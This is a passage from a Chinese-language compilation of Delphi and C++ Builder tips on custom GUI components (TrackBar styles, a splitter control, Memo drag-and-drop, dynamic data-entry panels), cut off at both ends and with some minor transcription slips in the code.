路 板 常 用 的 保 护 漆 色， 当Form 被 模 拟 成 电 路 板 时 这 会 有 所 帮 助( 通 过 修 改 资
源 文 件 可 以 得 到 你 想 要 的 开 关 颜 色 和 形 状)。

---- DIP 封 装 的 编 码 开 关 有4 位、8 位、12 位 等 规 格， 跳 线 开 关 则 可 以 任 意 数 量 使
用。 将BiSwitch 组 合 使 用 就 可 以 满 足 不 同 位 数 的 要 求， 所 附 的SWITCH 程 序 中 就
有 一 个8 位 编 码 开 关 的 例 子， 效 果 如 图。 下 面 以 双 诺 公 司 的AC1032 数 字I/O 卡 上
的SW1 开 关 说 明 使 用 方 法，SW1 用 于 设 定 测 试 卡 在 计 算 机 中 的 基 址， 其 开 关
SW1 的 位2 确 定 基 址 的 位10， 开 关 位8 确 定 基 址 的 位4， 基 址 位10 以 上 接 地， 位4 以
下 供 测 试 卡 自 用， 基 址 调 节 范 围 从210H-7F0H。 为 了 使 编 码 开 关 的 拨 动 与 基 址
对 应 起 来， 将 每 一 个BiSwitch 的Tag 属 性 赋 值 为 相 应 基 址 位 的 数 值， 如 开 关 位8 的
Tag 值 为4， 开 关 位1 未 使 用Tag 为0。 在 每 一 个BiSwitch 的OnClick 事 件 中 都 调 用doSwitch 来
响 应。

Procedure doSwitch
var
bs : TBiSwitch;
begin
bs := (Sender as
TBiSwitch);
{改变开关的显示状态 }
bs.State := not bs.State;

{根据Tag的值确定新的基址 }
if bs.Tag >0 then
begin
{ HiByte, LoByte为窗体的私有变量作
为中间变量计算基址 }
if bs.Tag >7 then HiByte.SetBit( bs.Tag-8 )
else LoByte.SetBit( bs.Tag );
end;

{将新的基址赋值给测试卡 }
pc1032.SetAddress(HiByte.FValue * 256 +
LoByte.FValue);
{在窗体中显示新的地址 }
lbAddress.Caption := Format
('BaseAddress
is %xH', [pc1032.GetAddress]);
end;


对TrackBar一处改进

    跟踪条作为Win 32 系统中新增加的通用控件（Common Control）而被应用程序广泛使用（如Windows 95 中的声卡音量调节程序即为一例）。根据WIN32 API 参考手册，该控件有多种不同的风格。其中TBS_ENABLESELRANGE 提供了基本的显示风格控制：当跟踪条具备这一风格时，其显示结果如图1所示；当不具备这一风格时，则显示为图2的样子，与我们在音量调节程序中所见到的样子类似。在Borland 可视部件库中跟踪条被封装成TTrackBar 类，其大多数风格均可通过属性窗直接进行修改，唯独无法更改其TBS_ENABLESELRANGE 风格，因而只能显示成如图１所示的样子，这不能不说是一处缺憾。幸好Borland 公司提供了扩充部件库的简便方法，使我们能够轻松地解决这一问题。

    下面给出在C++ Builder 中解决这一问题的源程序。将下面的源程序输入后，启动C++ Builder，选择Component 菜单的Install 选项，弹出安装部件对话框。再选择Add 按钮，输入C++ 源程序文件名及其完整路径，选择OK。此后，C++ Builder 会重建部件库，并在工具条上产生Samples 部件页，内有TMyTrackBar 部件。TMyTrackBar 部件新增了EnableSelRange 属性：当将其置为FALSE 时，显示如图１所示的风格；当将其置为TRUE 时，则显示如图２所示的风格。由于Delphi 2.0 和3.0 也都存在上述问题，所以若将下面用C 语言编写的源程序用PASCAL 语言改写即可解决Delphi 中存在的类似问题。

    MyTBar.H 源程序如下：

    #ifndef MyTBarH
    #define MyTBarH
    #include
    #include
    #include
    #include
    #include

    class TMyTrackBar : public TTrackBar
{
private:
bool
FEnableSel;
void __fastcall SetEnableSel(bool Value);
protected:
void __fastcall CreateParams(TCreateParams& Params);
public:
__fastcall TMyTrackBar(TComponent* Owner);
__published:
__property bool EnableSelRange =
{read=FEnableSel,
write=SetEnableSel};
};
#endif
MyTBar.CPP 源程序如下：
#include
#pragma hdrstop
#include "MyTBar.h"
static
inline TMyTrackBar *ValidCtrCheck()
{
return new TMyTrackBar(NULL);
}
__fastcall TMyTrackBar::TMyTrackBar(TComponent* Owner)
:
TTrackBar(Owner)
{ 　　}
void __fastcall TMyTrackBar::CreateParams
(TCreateParams& Params) 　　{
TTrackBar::CreateParams(Params);
if(!FEnableSel) Params.Style &= ~TBS_ENABLE-SELRANGE;
}
void __fastcall TMyTrackBar::SetEnableSel(bool Value)
{
if(Value != FEnableSel)
{
FEnableSel = Value;
RecreateWnd();
} 　　}
namespace Mytbar
{
void
__fastcall Register()
{
TComponentClass classes[1] = {__classid
(TMyTrackBar)};
RegisterComponents("Samples", classes, 0);
}


调整TTrackBar的滑动条为一细线

uses CommCtrl, ComCtrls;

type TMyTrackBar = class(TTrackBar)
procedure CreateParams(var Params: TCreateParams); override;
end;

procedure TMyTrackBar.CreateParams(var Params: TCreateParams);
begin
inherited;
Params.Style := Params.Style and not TBS_ENABLESELRANGE;
end;

var
MyTrackbar : TMyTrackbar;

procedure TForm1.Button1Click(Sender: TObject);
begin
MyTrackBar
:= TMyTrackbar.Create(Form1);
MyTrackbar.Parent := Form1;
MyTrackbar.Left := 100;
MyTrackbar.Top := 100;
MyTrackbar.Width := 150;
MyTrackbar.Height := 45;
MyTrackBar.Visible := true;
end;


减少控件重画时的闪烁

 constructor TMyControl.Create;
begin
inherited;
ControlStyle := ControlStyle + [csOpaque];
end;
//////////////////////////
lockwindowupdate(hwnd);加锁
//做一些界面工作
lockwindowupdate(0);//解锁


使TBitBtn的标题折行

 procedure TForm1.FormCreate(Sender: TObject);
var
R : TRect;
N : Integer;
Buff : array[0..255] of Char;
begin
with BitBtn1 do begin
Caption := 'A really really long caption';
Glyph.Canvas.Font := Self.Font;
Glyph.Width := Width - 6;
Glyph.Height := Height - 6;
R := Bounds(0, 0, Glyph.Width, 0);
StrPCopy(Buff, Caption);
Caption := '';
DrawText(Glyph.Canvas.Handle,
Buff,
StrLen(Buff),
R,
DT_CENTER or DT_WORDBREAK or DT_CALCRECT);
OffsetRect(R,
(Glyph.Width - R.Right) div 2,
(Glyph.Height - R.Bottom) div 2);
DrawText(Glyph.Canvas.Handle,
Buff,
StrLen(Buff),
R,
DT_CENTER or DT_WORDBREAK);
end;
end;


给TPageControl添加快捷键

unit tapage;

interface

uses
Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms,

Dialogs, ComCtrls;

type

TAPageControl = class(TPageControl)
private
procedure CMDialogChar(var Msg: TCMDialogChar); message
CM_DIALOGCHAR;
end;

procedure Register;

implementation

procedure TAPageControl.CMDialogChar(var Msg: TCMDialogChar);
var
i: Integer;
S: String;
begin
if Enabled then
for I := 0 to PageCount - 1 do
if IsAccel(Msg.CharCode, Pages[i].Caption) and
Pages[I].TabVisible then begin
Msg.Result := 1;

        ActivePage :=
Pages[I];
Change;
Exit; // exit for
loop.
end;
inherited;
end;

procedure Register;
begin
RegisterComponents('Test', [TAPageControl]);
end;

end.


调整Memo的Tab的距离

 procedure TForm1.FormCreate(Sender: TObject);
var
DialogUnitsX : LongInt;
PixelsX : LongInt;
i : integer;
TabArray : array[0..4] of integer;
begin
Memo1.WantTabs := true;
DialogUnitsX := LoWord(GetDialogBaseUnits);
PixelsX := 20;
for i := 1 to 5 do begin
TabArray[i - 1] :=
((PixelsX * i ) * 4) div DialogUnitsX;
end;
SendMessage(Memo1.Handle,
EM_SETTABSTOPS,
5,
LongInt(@TabArray));
Memo1.Refresh;
end;


在Memo里拖放文本

type
TMyMemo = class(TMemo)
private
FLastSelStart : Integer;
FLastSelLength : Integer;
procedure WMLButtonDown(var Message: TWMLButtonDown);
message WM_LBUTTONDOWN;
published
property LastSelStart : Integer read FLastSelStart
write FLastSelStart;
property LastSelLength : Integer read FLastSelLength
write FLastSelLength;
end;

Make the implementation of WMLButtonDown look like this:

procedure TMyMemo.WMLButtonDown(var Message: TWMLButtonDown);
var
Ch : Integer;
begin
if SelLength > 0 then begin
Ch := LoWord(Perform(EM_CHARFROMPOS,0,
MakeLParam(Message.XPos,Message.YPos)));
LastSelStart := SelStart;
LastSelLength := SelLength;
if (Ch >= SelStart) and (Ch <= SelStart+SelLength-1) then
BeginDrag(True)
else
inherited;
end
else
inherited;
end;

Now, install this component into a package, start a brand new project
in Delphi 3 and drop two TMyMemos down.

Make them both have an OnDragOver event handler looking like this:

procedure TForm1.MyMemo1DragOver(Sender, Source: TObject; X, Y: Integer;
State: TDragState; var Accept: Boolean);
begin
Accept := Source is TMyMemo;
end;

Make them both have an OnDragDrop event handler looking like this:

procedure TForm1.MyMemo1DragDrop(Sender, Source:
TObject;
X, Y: Integer);
var
Dst, Src : TMyMemo;
Ch       : Integer;
Temp     : String;
begin
Dst := Sender as
TMyMemo;
Src := Source as TMyMemo;
Ch :=
LoWord(Dst.Perform(EM_CHARFROMPOS,0,MakeLParam(X,Y)));

if (Src = Dst) and (Ch >= Src.LastSelStart) and
(Ch <= Src.LastSelStart+Src.LastSelLength-1) then
Exit;

  Dst.Text :=
Copy(Dst.Text,1,Ch)+Src.SelText+
Copy(Dst.Text,Ch+1,Length(Dst.Text)-Ch);
Temp :=   Src.Text;
Delete(Temp,Src.LastSelStart+1,Src.LastSelLength);
Src.Text :=
Temp;
end;


如何给TAnimate控件添加onclick事件

unit Unit1;

interface

uses
Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
StdCtrls, ComCtrls;

type
TMyAnimate=class(TAnimate)
private
procedure CNCommand(var Message: TWMCommand); message
CN_COMMAND;
public
procedure Click;
override;
end;
TForm1 = class(TForm)
Button1: TButton;
procedure Button1Click(Sender:
TObject);
private
{ Private declarations
}
procedure test(sender:tobject);
public
{ Public declarations }
end;
var
Form1: TForm1;
a:TMyAnimate;
implementation

{$R *.DFM}
procedure TMyAnimate.CNCommand(var Message:
TWMCommand);
begin
if Message.NotifyCode = BN_CLICKED then
Click;
end;
procedure TMyAnimate.Click;
begin
inherited
Click;
showmessage('Animate click demo!');
end;
procedure
TForm1.FormClose(Sender: TObject; var Action: TCloseAction);
begin
if a<>nil then a.free;
end;

procedure TForm1.Button1Click(Sender: TObject);
begin
a:=TMyanimate.Create(self);
a.Left:=100;
a.Top:=100;
a.Width:=200;
a.Height:=200;
a.Color:=clblack;
a.Parent:=self;
a.Visible:=true;
end;

end.


开发分隔线组件

一、引言
Delphi除了能采用可视化方法进行编程和系统开发外，还有非常重要的一个功能，就是能用其语言本身开发Delphi的可视化控件（Component）。Delphi是完全面向对象的语言，其各个控件都是从最基本的类TClass逐步继承而来，因此，编程者也可通过继承Delphi标准的控件类，开发出自己的控件，以满足某些特殊需要或使界面更为友好、美观。
在Windows 95的某些窗口中，用到了很多分隔线（如在资源管理器窗口中）。分隔线将一个窗口分成两个或多个部分。这些部分可能是面板（Panel）、图形、列表框或编辑区。当鼠标移到分隔线上时，光标会变成左右箭头或上下箭头，将鼠标按住并按指示的方向左右或上下拖动，就会使其中某部分放大，而另一部分缩小，从而提高了窗口各部分的可视范围，增加了窗口的信息量。

二、基本原理
分隔线界于窗口中两个控件之间。首先要在当前窗口中找到分隔线控件，并记录它的状态；然后要在窗口中找到与它相邻的控件，并记录它们的当前状态，然后再通过分隔线的鼠标事件控制各个控件的移动及尺寸变化，从而达到用分隔线分隔窗口的动态效果。

三、分隔线控件（TSplit）对象
分隔线控件对象由现有的控件对象继承而来，在此基础上，还必须有它本身的私有变量（方法）和公有变量（方法）。具体为：
1、首先定义分隔线控件类：TSplit。由于Delphi的面板控件Tpanel具有可改变其凸凹、形状大小等属性，所支持的事件方法也较多，因此采用Tpanel作为TSplit的父类。
2、定义TSplit的私有变量和方法：与分隔线有关的一些控件，如其所在的窗口、分隔线本身、分隔线的坐标、分隔线在移动时使其大小改变的控件（主要指分隔线的左侧或上侧的控件，以下称目标）等，这些定义为私有变量；对分隔线和其周围控件的检测、画阴影线以及求其状态等过程（子程序），定义为私有方法。其中关键的变量有FSplitControl，FSizeTarget，它们为分隔线变量和所移动的目标控件变量，通过调用私有方法GetComponent可将它们赋值，得到分隔线和目标的实例，从而便于对他们操作。在分隔线移动时，DrawSizegLine方法画出它的阴影线。
3、定义公共方法：公共方法定义了TSplit的构造函数、开始移动分隔线、改变分隔
线 的 位置、分隔线停止移动时调整目标（被分隔线改变形状的控件）尺寸等过程，以及分隔线的鼠标事件：按下、移动和弹起。另外，还定义了分隔线是否可移动的属性（property），以判断分隔线的当前状态。鼠标事件是分隔线移动和目标改变大小的触发点，对鼠标事件进行重载，使得移动和变化得以实现。在MouseDown事件中，加入了公共方法BeginSizing，对分隔线对象初始化；MouseMove事件中加入ChangeSizing方法，改变分隔线位置和画阴影；
MouseUp事件中加入EndSizing，停止分隔线的移动，改变目标大小。
4、分隔线控件实现过程 (见附录：split.pas程序及其说明。)

四、控件的安装方法
在Delphi 1.0的系统菜单Options下(2.0为Components)，选择Install Component子菜单，弹出对话框，按Add按纽，在输入栏键入程序名及其路径，再按OK键，等待编译完毕，在Delphi的控件列表中的Sample栏中就会出现我们所开发的新控件：Split。

五、使用方法
1、建立一个新的项目文件（Project），在新窗口上放置一个面板（或列表框、树型结构列表、图形框、记忆框等），将其Align属性设为Left；
2、从控件列表中的Sample栏中选取Split控件放于窗口，将其形状改为垂直的长条窄棒，并将Align属性设为Left，Cursor属性设为crHSplit；
3、 再在窗口中放一个面板（或其他控件），将其Align属性设为Client;
4、运行该项目文件，当鼠标移动到分隔线上，且光标变为左右箭头时，即能将其两边的部分放大或缩小。
若想做成上下分隔线，将以上1和2中的Align属性设为Top，2中的Cursor属性设为crVSplit，其余不变即可。
另外用户还可在3中的面板上再按1、2、3的步骤进行操作，将整个窗口用两个分隔线分为3个部分。以此类推，可将窗口分为任意多个部分。
本程序在Delphi 1.0和2.0下调试通过。

附录：源程序split.pas

unit Split;
interface
uses
SysUtils, WinTypes, WinProcs, Messages,
Classes, Graphics, Controls,Forms,
Dialogs, ExtCtrls;
type
{定义分隔线控件类}
TSpliter = class(TPanel) {TSpliter类从Tpanel类继承}
private
{定义私有变量和方法}
FForm: TForm; {分隔线所在的窗口变量}
FSplitControl, FSizeTarget:
Tcontrol; {分隔线及要改变的目标控件变量}
FVertical: Boolean; {分隔线方向变量}
FSplit: TPoint;
{分隔线坐标变量}
FAOwner: TComponent; {分隔线的拥有者变量}
procedure GetComponents;
{获得分隔线和目标实例}
function GetSizing: Boolean; {判断分隔线状态}
procedure
DrawSizingLine; {画分隔线阴影}
public {定义公共方法}
constructor Create(AOwner:
TComponent);override; {构造函数}
procedure BeginSizing; {移动前初始化}
procedure
ChangeSizing(X, Y: Integer); {改变分隔线位置}
procedure EndSizing;
{终止移动}
property Sizing: Boolean read GetSizing; {分隔线是否可移动属性}
procedure
MouseDown(Button: TMouseButton; Shift: TShiftState; X, Y:Integer);
Override;
{按下鼠标事件}
procedure MouseMove(Shift: TShiftState; X, Y: Integer);override;
{移动鼠
标事件}
procedure MouseUp(Button: TMouseButton; Shift: TShiftState; X,
Y:
Integer);override; {弹起鼠标事件}
end;
procedure Register;
{控件注册}
implementation
constructor TSpliter.Create(AOwner:
TComponent);
begin
inherited Create(AOwner);
FAOwner :=
AOwner;
FForm:= TForm(FAOwner); {定义分隔线所在的窗口类}
end;
function CToC(C1,
C2: TControl; P: TPoint): TPoint; {转换分隔线坐标函数}
begin
Result :=
C1.ScreenToClient(C2.ClientToScreen(P));
{将分隔线坐标转化为窗
口坐标}
end;
function
TSpliter.GetSizing: Boolean;
begin
Result := FSplitControl <> nil;
{是否获得了分隔线变量}
end;
procedure TSpliter.DrawSizingLine;
var P:
TPoint;
begin
P := CToC(FForm, FSplitControl, FSplit);
with
FForm.Canvas do begin
MoveTo(P.X, P.Y);
if FVertical then
{若为上下移动的分隔线，画横向阴影线}
LineTo(CToC(FForm, FSplitControl,
Point(FSplitControl.Width, 0)).X, P.Y)
else {否则}
LineTo(P.X, CToC(FForm,
FSplitControl, Point(0, FSplitControl.Height)
).Y)
{画竖直的阴影线}
end;
end;
procedure
TSpliter.BeginSizing;
begin
GetComponents;
SetCaptureControl(FSplitControl);
{使分隔线可接受鼠标事件}
if FVertical then {获得分隔线的坐标}
FSplit := Point(0,
FSplitControl.Top) else
FSplit := Point(FSplitControl.Left,
0);
FForm.Canvas.Handle := GetDCEx(FForm.Handle, 0, DCX_CACHE or
DCX_CLIPSIBLINGS
or DCX_LOCKWINDOWUPDATE); {取窗口句柄}
with FForm.Canvas
do begin {设置画笔状态模式}
Pen.Color := clWhite;
if FVertical then
Pen.Width
:= FSplitControl.Height else
Pen.Width := FSplitControl.Width;
Pen.Mode :=
pmXOR;
end;
DrawSizingLine;
end;
procedure TSpliter.ChangeSizing(X,
Y: Integer);
begin
DrawSizingLine;
if FVertical then FSplit.Y := Y else
FSplit.X := X; {移动分隔线位置}
DrawSizingLine;
end;
procedure
TSpliter.EndSizing;
var
DC: HDC;
P:
TPoint;
begin
DrawSizingLine;
P := CToC(FSizeTarget, FSplitControl,
FSplit); {将分隔线坐标转化为目标控
件坐标}
SetCaptureControl(nil);
{将可接收鼠标事件的控件置空}
FSplitControl := nil; {分隔线对象指向空}
with FForm do begin
DC
:= Canvas.Handle;
Canvas.Handle := 0;
ReleaseDC(Handle, DC);
{释放窗口句柄}
end;
if FVertical then begin {若为上下移动的分隔线}
if P.Y >=
FSizeTarget.Parent.Height then Exit {若分隔线超过窗口高度退出}
else FSizeTarget.Height :=
P.Y; {否则改变目标高度}
end
else begin
if P.X >= FSizeTarget.Parent.Width
then Exit {若分隔线超过窗口宽度退出}
else FSizeTarget.Width:= P.X;
{否则改变目标宽度}
end;
end;
procedure TSpliter.MouseDown(Button: TMouseButton;
Shift: TShiftState;
X, Y: Integer);
begin
inherited MouseDown(Button,
Shift, X, Y); {继承原方法}
if (Button = mbLeft) and (Shift = [ssLeft]) then
BeginSizing; {判断鼠标按
键，开始移动}
end;
procedure TSpliter.MouseMove(Shift:
TShiftState; X, Y: Integer);
begin
inherited MouseMove(Shift, X, Y);
if
Sizing then ChangeSizing(X, Y);
end;
procedure TSpliter.MouseUp(Button:
TMouseButton; Shift: TShiftState;X,
Y: Integer);
begin
inherited
MouseUp(Button, Shift, X, Y);
if Sizing then EndSizing;
{若获得分隔线对象，结束移动}
end;
procedure TSpliter.GetComponents;
var I:
Integer;
begin
FSplitControl:= GetCaptureControl;
{获得窗口中的分隔线对象}
FVertical := FSplitControl.Width >
FSplitControl.Height;
if not FVertical then begin {若为横向分隔线}
for I:= 0 to
FSplitControl.Parent.ControlCount-1 do {在分隔线所在的控件上
搜寻与它相邻的控件}
begin
if
(FSplitControl <> FSplitControl.Parent.Controls[I])
and
(FSplitControl.Left - FSplitControl.Parent.Controls[I].Width >= 0)
and
(FSplitControl.Left - FSplitControl.Parent.Controls[I].Width < 8)
then
begin
FSizeTarget:= TControl(FSplitControl.Parent.Controls[I]);
{获得目标控件}
Break; {跳出循环}
end
end;
end
else begin {若为纵向分隔线}
for
I:= 0 to FSplitControl.Parent.ControlCount-1 do begin
if (FSplitControl
<> FSplitControl.Parent.Controls[I]) and
(FSplitControl.Top -
FSplitControl.Parent.Controls[I].Height >= 0) and
(FSplitControl.Top -
FSplitControl.Parent.Controls[I].Height < 8) then
begin
FSizeTarget:=
TControl(FSplitControl.Parent.Controls[I]);
Break;
end;
end;
end;
end;
procedure
Register;
begin
RegisterComponents('Samples',
[TSpliter]);
{将分隔线控件注册到Sample控件
列表中}
end;
end.


编写通用数据控制类

一. 前 言
---- 基 于Windows 的 可 视 化 开 发 工 具 的 种 类 越 来 越 多， 使 得 开 发 人 员 经 常 感 到 无 所 适 从， 本 文 不 想 就 孰 优 孰 劣 妄 下 断 言， 仅 将 我 们 在 用Delphi 作 为 前 台 开 发 工 具， 用ORACLE 作 为DBMS 进 行MIS 系 统 开 发 过 程 中 所 得 到 的 一 点 经 验 体 会 拿 来 与 各 位 应 用 程 序 开 发 人 员 共 享， 希 望 能 对 大 家 有 所 帮 助。
---- Delphi 提 供 的TDBGrid、TQuery、TTable、TColumns、TField 等 与 数 据 对 象 相 关 的 控 件 类， 使 开 发 基 于Client/Server 体 系 结 构 的MIS 系 统 更 加 方 便、 快 捷； 它 对 拖 — — 放 编 程 的 支 持， 使 得 对 数 据 表、 视 图 等 的 处 理 更 加 直 观。 但 由 于 不 同 的 表、 视 图 等 对 象 结 构 各 不 相 同， 通 常 针 对 某 一 表 的 数 据 处 理（ 增、 删、 改、 查） 不 得 不 编 写 一 段 特 定 的 应 用 程 序。 虽 然 这 种 可 视 化 编 程 比 以 往 的 编 程 方 法 方 便， 但 仍 然 存 在 两 个 方 面 的 问 题： 一 方 面， 在 大 型 复 杂 的MIS 系 统 中， 表 的 数 量 一 般 都 比 较 多， 即 使 是 一 名 熟 练 的 程 序 员， 也 要 花 较 长 的 时 间 才 能 完 成 对 应 特 定 表 的 编 程； 二 是 为 某 一 应 用 所 开 发 的 系 统（ 例 如 为 人 事 部 门 开 发 的 人 事 管 理 系 统）， 在 别 的 应 用 中（ 例 如 生 产 管 理） 几 乎 没 有 任 何 使 用 价 值。

---- 也 就 是 说， 采 用 这 种 通 常 的 编 程 方 法，Delphi 不 能 实 现 脱 离 特 定 表 结 构 编 程， 代 码 也 无 法 重 用， 这 样 使 得MIS 系 统 的 编 程 效 率 降 低。 仔 细 分 析， 这 两 个 问 题 是 能 够 解 决 的， 虽 然 不 同 的 表 结 构 不 同， 但 对 它 们 所 进 行 的 处 理 却 是 完 全 一 样 的： 不 外 乎 增、 删、 改、 查， 同 时 它 们 也 有 许 多 共 同 之 处： 都 是 由 字 段 对 象 组 成， 具 有 相 同 的 约 束 集 和 字 段 类 型 集。 能 否 通 过 对 表 结 构 进 行 统 一 描 述， 使 得 对 表 的 处 理 能 够 独 立 于 表 结 构 ？ 为 此， 在 某MIS 系 统 开 发 中， 我 们 引 入 了 数 据 字 典 来 描 述 表 的 结 构 及 属 性（ 字 段 名、 类 型、 长 度 等）， 开 发 出 了 面 向 字 典 的 通 用 应 用 程 序， 不 仅 可 以 用 其 处 理 同 一 系 统 中 的 不 同 表， 而 且 可 以 方 便 地 将 其 用 于 另 一 应 用 系 统 中， 要 做 的 只 是 在 表 结 构 字 典 中 对 要 进 行 处 理 的 表 的 结 构 和 属 性 进 行 必 要 的 描 述。

---- Delphi 控 件 是 可 视 构 件 的 总 称。 所 有 的 控 件 都 具 有 可 视 方 面 的 共 同 属 性、 方 法 和 事 件， 如 位 置、 光 标、 绘 制 以 及 移 动 的 方 法、 反 应 鼠 标 动 作 的 事 件 等。 控 件 的 共 同 属 性、 方 法 和 事 件 都 被 封 装 在 控 件 的 抽 象 基 类TControl 类 中。 从 面 向 对 象 的 观 点 来 看， 每 一 类 控 件 都 是TControl 类 的 一 个 子 类， 它 们 在 继 承 了TControl 类 全 部 成 员 的 同 时 定 义 了 自 己 特 有 的 成 员， 并 声 明 了 部 分TControl 类 的 保 留 成 员， 从 而 使 其 具 有 自 己 的 特 性。Delphi 为 可 视 化 编 程 提 供 了 丰 富 的 控 件， 满 足 了 软 件 开 发 的 基 本 需 要， 但 对 于 一 些 复 杂 软 件 的 特 殊 开 发 需 求，Delphi 提 供 的 基 本 控 件 则 难 以 满 足 要 求。Delphi 的 所 有 控 件 都 是 用 一 种 完 全 面 向 对 象 的 语 言 — —Object Pascal 编 写 的， 并 提 供 了 源 代 码， 因 此， 完 全 可 以 根 据 使 用 的 需 要 以 某 个 控 件 类 为 基 础 来 定 义 自 己 的 控 件 类， 使 用 继 承、 重 载 和 增 加 新 成 员 等 机 制， 建 立 起 适 合 特 定 需 要 的 控 件 类， 为 编 程 提 供 方 便。 数 据 字 典 结 合 控 件 数 组 及 自 定 义 控 件 类， 不 仅 可 简 化 编 程， 解 决 上 述 问 题， 而 且 使 应 用 程 序 具 有 了 更 大 的 灵 活 性 和 用 户 友 好 性。

二. 编 写 自 定 义 控 件 类
---- 充 分 利 用Delphi 面 向 对 象 的 强 大 功 能， 对 控 件 类 库 进 行 适 当 扩 充， 能 够 起 到 事 半 功 倍 的 效 果。 在 开 发MIS 系 统 时， 经 常 要 用 到 形 如 图1 所 示 的 部 件 组 合（ 其 中 的“ 数 据 编 辑（ 浏 览） 框” 直 接 与 数 据 库 中 的 某 数 据 表 的 一 个 字 段 相 接）， 其 简 单 示 例 如 图2。 通 常 是 使 用Delphi 的 某 几 类 基 本 控 件 的 对 象 组 合 成 一 个 如 图1 的 部 件， 最 后 产 生 一 个 类 似 图2 的 示 例， 这 种 方 法 的 主 要 不 足 在 于： 当 界 面 实 时 生 成 时， 部 件 的 引 用 与 动 态 随 机 定 位 编 程 困 难。 实 时 产 生 如 图2 所 示 的 显 示 界 面 需 要 对 涉 及 的 所 有 控 件 进 行 寻 址 与 重 定 义， 最 简 单 的 情 况 是 图1 的 部 件 由 两 个 控 件 对 象 组 合 而 成， 那 么 改 变 该 部 件 的 位 置、 尺 寸、 标 题、 显 示 内 容 等， 就 要 对 两 个 控 件 单 独 进 行 寻 址 和 定 义。Delphi 并 不 直 接 提 供 控 件 数 组 功 能， 寻 址 不 易 实 现； 而 且， 由 于 对 同 类 控 件 的 处 理 重 复 性 编 程 量 较 大， 使 出 错 的 可 能 性 也 大 大 增 加。
---- 笔 者 针 对 上 述 问 题， 自 定 义 了 一 个 控 件 类：TDBEditPanel， 在 实 践 中 使 用 效 果 很 好。 其 样 式 如 图1， 利 用Delphi 的component 菜 单 项 中 的Install component 子 项 将 该 控 件 类 加 到 控 件 模 板 的Samples 页 上， 就 可 象 使 用Delphi 自 带 的 控 件 一 样 使 用 它 了。 部 分 源 代 码 如 下：

...
type
TDBEditPanel = class(TPanel)
...
public
FDBEdit:TDBEdit;
constructor Create(AOwner:TComponent);Override;
destructor Destroy;Override;
...
end;

implementation
constructor
TDBEditpanel.Create(Aowner:TComponent);
begin
inherited
create(Aowner);
alignment:=taleftjustify;
bevelinner:=bvraised;
bevelouter:=bvlowered;
FDBEdit:=TDBEdit.Create(self);
FDBEdit.Align:=alright;
FDBEdit.parent:=self;
end;
destructor
TDBEditpanel.Destroy;
begin
FDBEdit:=nil;
inherited
Destroy;
end;
end.

┌──┬────────┐
│标题│数据编辑(浏览)框│
└──┴────────┘
图1
┌──┬───┬──┬─┬────┬───┐
│单位│后勤处│级别│团│编制员额│2121212│
├──┴─┬─┴──┼─┴──┬─┴───┤
│现有员额│1111111│现有车辆│12090 │
└────┴────┴────┴─────┘
图2

三. 数 据 操 作 界 面 动 态 生 成 技 术
---- 高 质 量 的MIS 系 统 必 须 向 用 户 提 供 最 大 的 灵 活 性， 其 中 最 基 本 的 一 点 是： 在 对 数 据 进 行 浏 览、 编 辑 时， 既 要 有 列 表 方 式， 又 要 有 卡 片 方 式， 不 仅 允 许 用 户 设 置 查 询 条 件 选 取 记 录， 而 且 允 许 选 择 部 分 字 段（ 域） 查 看、 编 辑， 因 为 用 户 的 选 择 是 不 确 定 的， 所 以， 格 式 固 定 的 界 面 已 不 能 满 足 要 求。 列 表 和 卡 片 在 程 序 运 行 过 程 中 实 时 产 生 和 处 理 涉 及 到 两 个 问 题： 一 是 依 据 问 题， 即 控 件 以 什 么 样 的 模 式 出 现 ？ 其 根 据 是 什 么 ？ 二 是 对 控 件 的 寻 址 和 重 定 义 问 题。
---- 所 谓 的 依 据 是 指 系 统 以 什 么 样 的 方 式 记 录 用 户 的 选 择， 并 以 此 为 根 据 来 产 生 所 需 的 列 表 及 卡 片。 在 我 们 设 计 的 系 统 中 采 用 面 向 数 据 字 典 的 方 法， 极 大 地 提 高 了 程 序 模 块 的 可 重 用 性， 使 用 的 字 典（BZ_DD） 基 本 结 构 如 图3。

---- 数 据 字 典 使 用 的 基 本 思 路 是， 根 据 用 户 的 选 择 在 字 典BZ_DD 的 参 于 操 作 标 记 字 段DD90 上 做 标 记， 然 后 以 字 典DD 为 依 据 来 生 成 控 件 并 确 定 其 相 关 属 性。Delphi 的 数 据 表 格 控 件DBGrid 为 列 表 方 式 提 供 了 极 大 的 方 便， 这 方 面 内 容 本 文 不 赘 述。 卡 片 的 处 理 涉 及 到 控 件 的 寻 址、 重 定 义 和 事 件 处 理 等 问 题， 采 用 控 件 数 组 可 使 编 程 大 大 简 化。 控 件 数 组 在Visual Basic 等 开 发 环 境 中 的 应 用 极 其 普 遍， 而 在Delphi 中 却 属 于 应 用 较 少 的 功 能， 与 此 相 关 的 资 料 很 罕 见。 下 面 例 程 展 示 了 面 向 数 据 字 典 的 卡 片 动 态 生 成、 控 件 寻 址 以 及 控 件 数 组 的 使 用， 其 中DBPanel 为 事 先 定 义 好 的 控 件 数 组 变 量，FDBEdit 为DBPanel 的 成 员， 用 来 连 接 数 据 字 段。 该 例 程 在windows95 下 调 试 通 过。

---- 过 程 及 函 数 说 明：DBEDIT_C 网 格 方 式 下 有 关 字 段 处 理 过 程，DBEDIT_C1 卡 片 方 式 下 有 关 字 段 处 理 过 程，getitems 字 段 选 择 函 数，GridCard 网 格 及 卡 片 自 动 生 成 及 处 理 程 序。

┌──┬───┬──────┬───────┐
│项名│类型│ 中文名 │ 含 义 │
├──┼───┼──────┼───────┤
│DD01│ C(8)│数据表名 │ │
│DD02│ C(8)│数据项名 │字段名 │
│DD03│ C(8)│数据项中文名│字段中文名 │
│DD05│ C(8)│类型 │ │
│DD06│ N(3)│长度 │ │
│DD09│ C(1)│选用标记 │Y:选中,N未选中│
│DD11│ C(1)│代码类型 │分层、不分层 │
│DD12│ C(8)│代码表名 │ │
│DD13│ C(8)│代码项名 │ │
│DD14│ C(8)│代码项中文名│ │
└──┴───┴──────┴───────┘

---- 有 关 参 数 说 明：remaining 为 可 用 但 未 用 的 字 段 中 文 名 组 成 的 字 符 串，stritems 正 在 处 理 的 字 段 中 文 名 组 成 的 字 符 串，query2 保 存 生 成 卡 片 及 网 格 所 需 的 有 关 字 段 信 息，datasource1 与TDBedit 相 连 的 数 据 源，position 产 生 的TDBeditpanel 控 件 显 示 窗 体，wid 为position 的 宽 度，dbla_ed 用 于 存 放 产 生 的TDBeditpanel 控 件。

uses  ....;
hh:integer;bt1:sring;
